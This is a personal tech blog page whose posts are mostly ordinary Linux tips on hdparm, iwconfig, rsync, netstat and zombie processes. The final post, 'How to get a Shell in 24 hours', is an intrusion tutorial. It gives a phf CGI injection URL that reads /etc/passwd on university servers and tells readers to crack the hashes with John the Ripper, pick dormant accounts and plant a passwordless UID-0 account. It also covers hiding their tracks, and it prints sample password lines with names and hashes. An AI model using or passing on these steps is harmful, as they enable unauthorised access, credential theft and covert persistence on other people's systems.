Linux Tips n Tricks: PC Tips by Anu

Showing posts with label Linux Tips n Tricks. Show all posts

Monday, May 16, 2011

Keyboard shortcuts for Ubuntu...

Monday, May 16, 2011

Anu

Keyboard shortcuts for Ubuntu...

Monday, May 16, 2011

Anu

Friday, April 22, 2011

Tuesday, April 12, 2011

Saturday, March 26, 2011

Linux : 10 tips n tricks...

Saturday, March 26, 2011

Anu

Ten tips n tricks for linux users...

1: Defrag your databases

Whenever you change the structure of a MySQL database, or remove a lot of data from it, the files can become fragmented resulting in a loss of performance, particularly when running queries. Just remember any time you change the database to run the optimiser:

mysqlcheck -o

You may also find it worth your while to defragment your database tables regularly if you are using VARCHAR fields: these variable-length columns are particularly prone to fragmentation.

2: Quicker emails

Can't afford to waste three seconds locating your email client? Can't be bothered finding the mouse under all those gently rotting mountains of clutter on your desk? Whatever you are doing in KDE, you are only a few keypresses away from sending a mail. Press Alt+F2 to bring up the 'Run command' dialog. Type:

mailto:plop@ploppypants.com

Press return and KMail will automatically fire up, ready for your words of wisdom. You don't even need to fill in the entire email address. This also works for Internet addresses: try typing www.slashdot.org to launch Konqueror.

3: Parallelise your build

If you're running a multiprocessor system (SMP) with a moderate amount of RAM, you can usually see significant benefits by performing a parallel make when building code. Compared to doing serial builds when running make (as is the default), a parallel build is a vast improvement. To tell make to allow more than one child at a time while building, use the -j switch:

make -j4; make -j4 modules

4: Save battery power

You are probably familiar with using hdparm for tuning a hard drive, but it can also save battery life on your laptop, or make life quieter for you by spinning down drives.

hdparm -y /dev/hdb
hdparm -Y /dev/hdb
hdparm -S 36 /dev/hdb

In order, these commands will: cause the drive to switch to Standby mode, switch to Sleep mode, and finally set the Automatic spindown timeout. This last includes a numeric variable, whose units are blocks of 5 seconds (for example, a value of 12 would equal one minute).

Incidentally, this habit of specifying spindown time in blocks of 5 seconds should really be a contender for a special user-friendliness award - there's probably some historical reason for it, but we're stumped. Write in and tell us if you happen to know where it came from!

5: Wireless speed management

The speed at which a piece of radio transmission/receiver equipment can communicate with another depends on how much signal is available. In order to maintain communications as the available signal fades, the radios need to transmit data at a slower rate. Normally, the radios attempt to work out the available signal on their own and automatically select the fastest possible speed.In fringe areas with a barely adequate signal, packets may be needlessly lost while the radios continually renegotiate the link speed. If you can't add more antenna gain, or reposition your equipment to achieve a better enough signal, consider forcing your card to sync at a lower rate. This will mean fewer retries, and can be substantially faster than using a continually flip-flopping link. Each driver has its own method for setting the link speed. In Linux, set the link speed with iwconfig:

iwconfig eth0 rate 2M

This forces the radio to always sync at 2Mbps, even if other speeds are available. You can also set a particular speed as a ceiling, and allow the card to automatically scale to any slower speed, but go no faster. For example, you might use this on the example link above:

iwconfig eth0 rate 5.5M auto

Using the auto directive this way tells the driver to allow speeds up to 5.5Mbps, and to run slower if necessary, but will never try to sync at anything faster. To restore the card to full auto scaling, just specify auto by itself:

iwconfig eth0 rate auto

Cards can generally reach much further at 1Mbps than they can at 11Mbps. There is a difference of 12dB between the 1Mbps and 11Mbps ratings of the Orinoco card - that's four times the potential distance just by dropping the data rate!

6: Unclog open ports

Generating a list of network ports that are in the Listen state on a Linux server is simple with netstat:

root@pctipsbyanu:~# netstat -lnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name 
tcp 0 0 0.0.0.0:5280 0.0.0.0:* LISTEN 698/perl 
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 217/httpd 
tcp 0 0 10.42.3.2:53 0.0.0.0:* LISTEN 220/named 
tcp 0 0 10.42.4.6:53 0.0.0.0:* LISTEN 220/named 
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 220/named 
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 200/sshd 
udp 0 0 0.0.0.0:32768 0.0.0.0:* 220/named 
udp 0 0 10.42.3.2:53 0.0.0.0:* 220/named 
udp 0 0 10.42.4.6:53 0.0.0.0:* 220/named 
udp 0 0 127.0.0.1:53 0.0.0.0:* 220/named 
udp 0 0 0.0.0.0:67 0.0.0.0:* 222/dhcpd 
raw 0 0 0.0.0.0:1 0.0.0.0:* 7 222/dhcpd

That shows you that PID 698 is a Perl process that is bound to port 5280. If you're not root, the system won't disclose which programs are running on which ports.

7: Faster Hard drives

You may know that the hdparm tool can be used to speed test your disk and change a few settings. It can also be used to optimise drive performance, and turn on some features that may not be enabled by default. Before we start though, be warned that changing drive options can cause data corruption, so back up all your important data first. Testing speed is done with:

hdparm -Tt /dev/hda

You'll see something like:

/dev/hda:

Timing buffer-cache reads:   128 MB in  1.64 seconds =78.05 MB/sec
Timing buffered disk reads:  64 MB in 18.56 seconds = 3.45MB/sec

Now we can try speeding it up. To find out which options your drive is currently set to use, just pass hdparm the device name:

hdparm /dev/hda
 /dev/hda:
 multcount    =  16 (on)
 I/O support  =  0 (default 16-bit)
 unmaskirq    =  0 (off)
 using_dma    =  0 (off)
 keepsettings =  0 (off)
 readonly     =  0 (off)
 readahead    =  8 (on)
 geometry     = 40395/16/63, sectors = 40718160, start = 0

This is a fairly default setting. Most distros will opt for safe options that will work with most hardware. To get more speed, you may want to enable dma mode, and certainly adjust I/O support. Most modern computers support mode 3, which is a 32-bit transfer mode that can nearly double throughput. You might want to try

hdparm -c3 -d1/dev/hda

Then rerun the speed check to see the difference. Check out the modes your hardware will support, and the hdparm man pages for how to set them.

8: Uptime on your hands

In computing, wasted resources are resources that could be better spent helping you. Why not run a process that updates the titlebar of your terminal with the current load average in real-time, regardless of what else you're running?

Save this as a script called tl, and save it to your ~/bin directory:

#!/usr/bin/perl -w

use strict;
$|++;

my $host=`/bin/hostname`;
chomp $host;

while(1) {

open(LOAD,"/proc/loadavg") || die "Couldn't open /proc/loadavg: $!\n";

my @load=split(/ /,);
close(LOAD);


print "$host: $load[0] $load[1] $load[2] at ", scalar(localtime);
print "\007";

sleep 2;
}

When you'd like to have your titlebar replaced with the name, load average, and current time of the machine you're logged into, just run tl&. It will happily go on running in the background, even if you're running an interactive program like Vim.

9: Grabbing a screenshot without X

There are plenty of screen-capture tools, but a lot of them are based on X. This leads to a problem when running an X application would interfere with the application you wanted to grab - perhaps a game or even a Linux installer. If you use the venerable ImageMagick import command though, you can grab from an X session via the console. Simply go to a virtual terminal (Ctrl+Alt+F1 for example) and enter the following:

chvt 7; sleep 2; import -display :0.0 -window root sshot1.png; chvt 1;

The chvt command changes the virtual terminal, and the sleep command gives it a while to redraw the screen. The import command then captures the whole display and saves it to a file before the final chvt command sticks you back in the virtual terminal again. Make sure you type the whole command on one line.

This can even work on Linux installers, many of which leave a console running in the background - just load up a floppy/CD with import and the few libraries it requires for a first-rate run-anywhere screen grabber.

10: Access your programs remotely

If you would like to lie in bed with your Linux laptop and access your applications from your Windows machine, you can do this with SSH. You first need to enable the following setting in /etc/ssh/sshd_config:

X11Forwarding yes
We can now run The GIMP on 192.168.0.2 with:
ssh -X 192.168.0.2 gimp

Stay in touch for more tips n tricks

Thanks...

Monday, March 7, 2011

How to create local YUM repository from iso?

Monday, March 07, 2011

Anu

Monday, February 21, 2011

Ten tips for Linux...

Monday, February 21, 2011

Anu

Ten tips to tweak Linux...

1: Check processes not run by you

Imagine the scene - you get yourself ready for a quick round of Crack Attack against a colleague at the office, only to find the game drags to a halt just as you're about to beat your uppity subordinate - what could be happening to make your machine so slow? It must be some of those other users, stealing your precious CPU time with their scientific experiments, webservers or other weird, geeky things!

OK, let's list all the processes on the box not being run by you!

ps aux | grep -v `whoami`

Or, to be a little more clever, why not just list the top ten time-wasters:

ps aux  --sort=-%cpu | grep -m 11 -v `whoami`

It is probably best to run this as root, as this will filter out most of the vital background processes. Now that you have the information, you could just kill their processes, but much more dastardly is to run xeyes on their desktop. Repeatedly!

2: Replacing same text in multiple files

If you have text you want to replace in multiple locations, there are several ways to do this. To replace the text Windows with Linux in all files in current directory called test[something] you can run this:

perl -i -pe 's/Windows/Linux/;' test*

To replace the text Windows with Linux in all text files in current directory and down you can run this:

find . -name '*.txt' -print | xargs perl -pi -e's/Windows/Linux/ig' *.txt

Or if you prefer this will also work, but only on regular files:

find -type f -name '*.txt' -print0 | xargs --null perl -pi -e 's/Windows/Linux/'

Saves a lot of time and has a high guru rating!

3: Fix a wonky terminal

We've all done it - accidentally used less or cat to list a file, and ended up viewing binary instead. This usually involves all sorts of control codes that can easily screw up your terminal display. There will be beeping. There will be funny characters. There will be odd colour combinations. At the end of it, your font will be replaced with hieroglyphics and you don't know what to do. Well, bash is obviously still working, but you just can't read what's actually going on! Send the terminal an initialisation command:

reset

and all will be well again.

4: Creating Mozilla keywords

A useful feature in Konqueror is the ability to type gg onion to do a Google search based on the word onion.
The same kind of functionality can be achieved in Mozilla by first clicking on Bookmarks>Manage Bookmarks and then Add a New Bookmark. Add the URL as:

http://www.google.com/search?q=%s

Now select the entry in the bookmark editor and click the Properties button.
Now enter the keyword as gg (or this can be anything you choose) and the process is complete.
The %s in the URL will be replaced with the text after the keyword. You can apply this hack to other kinds of sites that rely on you passing information on the URL.
Alternatively, right-click on a search field and select the menu option "Add a Keyword for this Search...".
The subsequent dialog will allow you to specify the keyword to use.

5: Running multiple X sessions

If you share your Linux box with someone and you are sick of continually logging in and out, you may be relieved to know that this is not really needed.
Assuming that your computer starts in graphical mode (runlevel 5), by simultaneously pressing the keys Control+Alt+F1 - you will get a login prompt. Insert your login and password and then execute:

startx -- :1

to get into your graphical environment. To go back to the previous user session, press Ctrl+Alt+F7, while to get yours back press Ctrl+Alt+F8.

You can repeat this trick: the keys F1 to F6 identify six console sessions, while F7 to F12 identify six X sessions.
Caveat: although this is true in most cases, different distributions can implement this feature in a different way.

6: Faster browsing

In KDE, a little-known but useful option exists to speed up your web browsing experience. Start the KDE Control Center and choose System > KDE performance from the sidebar.
You can now select to preload Konqueror instances. Effectively, this means that Konqueror is run on startup, but kept hidden until you try to use it. When you do, it pops up almost instantaneously.

7: Backup your website easily

If you want to back up a directory on a computer and only copy changed files to the backup computer instead of everything with each backup, you can use the rsync tool to do this. You will need an account on the remote computer that you are backing up from. Here is the command:

rsync -vare ssh jono@192.168.0.2:/home/jono/importantfiles/* /home/jono/backup/

Here we are backing up all of the files in /home/jono/importantfiles/ on 192.168.0.2 to /home/jono/backup on the current machine.

8: Keeping your clock in time

If you find that the clock on your computer seems to wander off the time, you can make use of a special NTP tool to ensure that you are always synchronised with the kind of accuracy that only people that wear white coats get excited about. You will need to install the ntpdate tool that is often included in the NTP package, and then you can synchronise with an NTP server:

ntpdate ntp.blueyonder.co.uk

A list of suitable NTP servers is available at www.eecis.udel.edu/~mills/ntp/clock1b.html.
If you modify your boot process and scripts to include this command you can ensure that you are perfectly in time whenever you boot your computer. You could also run a cron job to update the time.

9: Finding the biggest files

A common problem with computers is when you have a number of large files (such as audio/video clips) that you may want to get rid of. You can find the biggest files in the current directory with:

ls -lSrh

The "r" causes the large files to be listed at the end and the "h" gives human readable output (MB and such).
You could also search for the biggest MP3/MPEGs:

ls -lSrh *.mp*

You can also look for the largest directories with:

du -kx | egrep -v "\./.+/" | sort -n

10: Nautilus shortcuts

Although most file managers these days are designed to be used with the mouse, it's also useful to be able to use the keyboard sometimes. Nautilus has a few keyboard shortcuts that can have you flying through files:

Open a location - Ctrl+L
Open Parent folder - Ctrl+Up
Arrow keys navigate around current folder.

You can also customise the file icons with 'emblems'. These are little graphical overlays that can be applied to individual files or groups. Open the Edit > Backgrounds and Emblems menu item, and drag-and-drop the images you want.

STAY IN TOUCH FOR MORE LINUX TWEAKS...

Thanks...

Monday, February 7, 2011

How To Find And Kill Zombie Process On Linux System?

Monday, February 07, 2011

Anu

A zombie process (a.k.a. defunct process) is a process that has endedexecution but left in the process table of Linux operating system. So,how to handle or terminate zombie process on Linux system?

Suppose the parent process that started it has executed wait system callto read its child process exit status, there will be no such defunctprocess left in the process table.

As the process terminated, the memory or system resources usedduring its execution are freed or released to operating system.Therefore, zombie process consumes very little system resource, exceptwhen the number of defunct process increases tremendously untiloverload process table.

How to find out or check the number of zombie process on Linuxsystem? The following commands can help (reference is based on RedhatLinux, RHEL 5 to be precise).

To check zombie / defunct process existence:

ps -elf | awk '{print $2" "$4" "$5}' | grep ^Z

where the output of first column indicates status of process,second column denotes process ID (PID) and third column is parentprocess ID (PPID).

Alternative, grep the “defunct” keyword, i.e.:

ps -elf | grep defunct

To find out the number of these defunct processes (assuming theprevious command returns a long list), simply include “wc” command.E.g. either one of these two commands will do:

ps -elf | awk '{print $2}' | grep ^Z | wc -l
ps -elf | grep defunct |grep -v grep | wc -l

How to terminate zombie / defunct Linux process?

Remember the definition of zombie process? It is a process that hasstopped execution except its entry in process table of Linux operatingsystem (and thus consuming little system resources, if the number ofsuch process is small).

Therefore, you hardly can terminate defunct process by using “kill -9″ command. You might able to remove the zombie process by:

Restart or terminate its parent process that spawn it.
Manually sending SIGCHLD signal to parent process (advised by expert by never work for my cases):
```
kill -s SIGCHLD ppid
```
where ppid is the parent process ID of the defunct process.
Reboot the Linux system, if the number of zombie process grows upto a harmful level (i.e. causes system performance and reliability todegrade).

If possible, talk to programmers who develop the parent process andfind out from them is that designed by purpose (e.g. to avoid new childprocess reuse process ID taken by terminated child process and thusbecomes defunct) or it is actually a bug that can be fixed.

Monday, May 31, 2010

How to get a Shell in 24 hours

Monday, May 31, 2010

Anu

http://blogs.msdn.com/blogfiles/powershell/WindowsLiveWriter/GetPowerShell_86F4/get-PowerShell.png

I have read many a hacking e-zines, and 'how to hack' documents before. They are ok, interesting etc. but they always show you how to get root through a shell, what people seem to forget is the fact that you have to actually get the password before you can use a shell to an account. You might be lucky and find that l:guest p:guest will work. In this text I will show you how easy hacking is ( on old deformed systems ) and how you can get a shell of some sort in 24 hours after reading this. I am not going to go on to explain how to get root after getting a shell as there are 1000's of texts and C programs which explain this.
OK, the very first thing you need to do is to have a WWW browser, a telnet program, john the ripper kracker program ( i recommend ) and a good dictionary file.

WWW Browser - Netrape or MSIE are fine
Telnet Program - One which lets you set which port you want to connect to
John The Ripper - Will be at http://www.sinnerz.com/darkfool
Dictionary File - Found at many hacking web sites. Do a search for one

Ok, every net user/wanna be hacker will have most of those programs and if ya don't there really easy to get a hold of.
OK, now I am going to tell you something about Japan. They make your stero, they made the bits inside your computer, they made your car, they made everything electronic around you, you have their eyes at the end of your nob, but they are rubbish at one thing, the internet and security. The honestly don't know anything about internet security, I have rooted or got shells on many a japanese servers. These are my favourite systems to attack because they are soooooo easy. I am also told that Australian servers are very easy too, some Berkeley UNiversity machines are very easy to krack too.
Next thing you got to do is fire up your WWW browser. Goto AltaVista http://www.alta-vista.digital.com if you don't know already this is a search engine which has some very nice advance features.
Once here in the search field box type this url:ac.jp and press search, this looks for all URL's with ac.jp in. This is academic places in Japan, similar to the US which has .edu instead. You will be presented with a load
of web pages which text you probably can't read because its all in some funny language. More importantly is the URL which they point out, for example, www.mo.cs.rekimoko.ac.jp , notice the ac.jp at the end of it.
Click on the link to the site ( longer server urls are easier to break into BTW ). When the URL appears on the WWW browser box at the top of the screen add this line to the end of it.

/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

/cgi/phf?Qalias=x%0a/bin/cat%20/etc/passwd

i.e

http://www.mo.cs.rekimoko.ac.jp/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

To all you 313375 out there, yes, i know this is the phf technique and it is virtually dead, but you'll be surpised where you can use this.

This technique of finding the password file to the system is old, it was first used in November 1996 on the FBI web page by a few hackers. It has been patched up by a lot of servers, so this won't work on www.nasa.gov or
most of www.*.com but still works on many University servers outside of EU and US.
Ok, once the URL has been entered you will see a number or things :-

Error 404
/cgi-bin/phf is not found on this server

WARNING

You do not have permission to view /cgi-bin/phf/ on this server There are a number of other things the server might say, but the thing you want it to say is the following :-

/cgi/phf?Qalias=x%0a/bin/cat%20/etc/passwd
root:2fkbNba29uWys:0:1:Operator:/:/bin/csh
www-admin:rYsKMjnvRppro:100:11:WWW administrator:/home/Common/WWW:/bin/csh
kangaroo:3A62i9qr.YmO.:1012:10:Hisaharu
TANAKA:/home/user/kangaroo:/usr/local/bin/tcsh
maemae:dvUMqNmeeENFs:1016:10:Akiko Maeda:/home/user/maemae:/bin/csh
watanaby:ewF90K0gwXVD6:1006:10:Yoshiaki WATANABE:/home/user/watanaby:/bin/csh
kake:kFph8HEM/aaAA:1007:10:Tetsuro KAKESHITA:/home/user/kake:/bin/csh

etc.......
This means you have hit the jackpot !
If you get something similar to this but all lines have something similar to the following :-

root:*:0:1:Operator:/:/bin/csh
www-admin:*:100:11:WWW administrator:/home/Common/WWW:/bin/csh
kangaroo:*:1012:10:Hisaharu TANAKA:/home/user/kangaroo:/usr/local/bin/tcsh
maemae:*:1016:10:Akiko Maeda:/home/user/maemae:/bin/csh
watanaby:*:1006:10:Yoshiaki WATANABE:/home/user/watanaby:/bin/csh
kake:*:1007:10:Tetsuro KAKESHITA:/home/user/kake:/bin/csh

( notice the * ) if you don't know already this means its shadowed and you cannot work out the password using a shadowed file.
If some but not all of the logins have * in them its ok, its worthwhile getting the ones which aren't shadowed, hey, a shell is a shell !
Get all the lines which aren't shadowed and then paste them into notepad, write the name of the server in the top line of the file and save it.
Ok now for the next bit, this is fairly simple but can be a lengthy process depending upon which speed machine you have and how big your password file is and dictionary file. Use john the ripper or whatever password cracker you are using, although i recommend john the ripper because its quick. This will probably take a long time so go to the pub or have a drive or something.......
If you are lucky enough to work out the passwords to the logins then well done, if you don't, them find another server or increase the size of your dictionary file, make it as big as you can, the bigger the better, the more luck you will have in finding the password.
OK, you got some passwords to a few logins, if you got root them jump around the room with joy ( I do ). If you didn't then, well, atleast you got yourself some shells. Now, if you want to keep these shells without anyone knowing then your best bet is to telnet to the site at port 79, you will have a blank prompt, here type in the username of the account you cracked, it will tell you the last time they logged in, do this for all the accounts, use the account which isn't used very much, the best ones are the ones which say ' User Never Logged On ' because then the account is basically yours !
{ Note: If you get root type the following at the shell prompt :-

echo "myserver::0:0:Test User:/:/bin/csh" >> \etc\passwd

This wil allow you to login to the server with l:myserver so you don't get admin suspicous when they see people login in as root. }
Hide yourself as much as possible, if you already have a shell then go through that first when logging on, or, telnet to the hacked shell and then re-telnet to the hacked shell using the hacked shell, if you see what I mean, so your who appears as localhost. Get some C scripts which delete your presence etc...
Thats it, if there's demand to explain this in further detail then please e-mail me telling me you want a follow up, I don't do personal help so don't e-mail me asking for help PLEASE DON'T !
Thats it.....
" Stay cool and be somebodys darkfool this year "

Blog Archive

Popular Posts

Monday, May 16, 2011

Friday, April 22, 2011

Tuesday, April 12, 2011

Saturday, March 26, 2011

1: Defrag your databases

2: Quicker emails

3: Parallelise your build

4: Save battery power

5: Wireless speed management

6: Unclog open ports

7: Faster Hard drives

8: Uptime on your hands

9: Grabbing a screenshot without X

10: Access your programs remotely

Monday, March 7, 2011

Monday, February 21, 2011

1: Check processes not run by you

2: Replacing same text in multiple files

3: Fix a wonky terminal

4: Creating Mozilla keywords

5: Running multiple X sessions

6: Faster browsing

7: Backup your website easily

8: Keeping your clock in time

9: Finding the biggest files

10: Nautilus shortcuts

Monday, February 7, 2011

Monday, May 31, 2010

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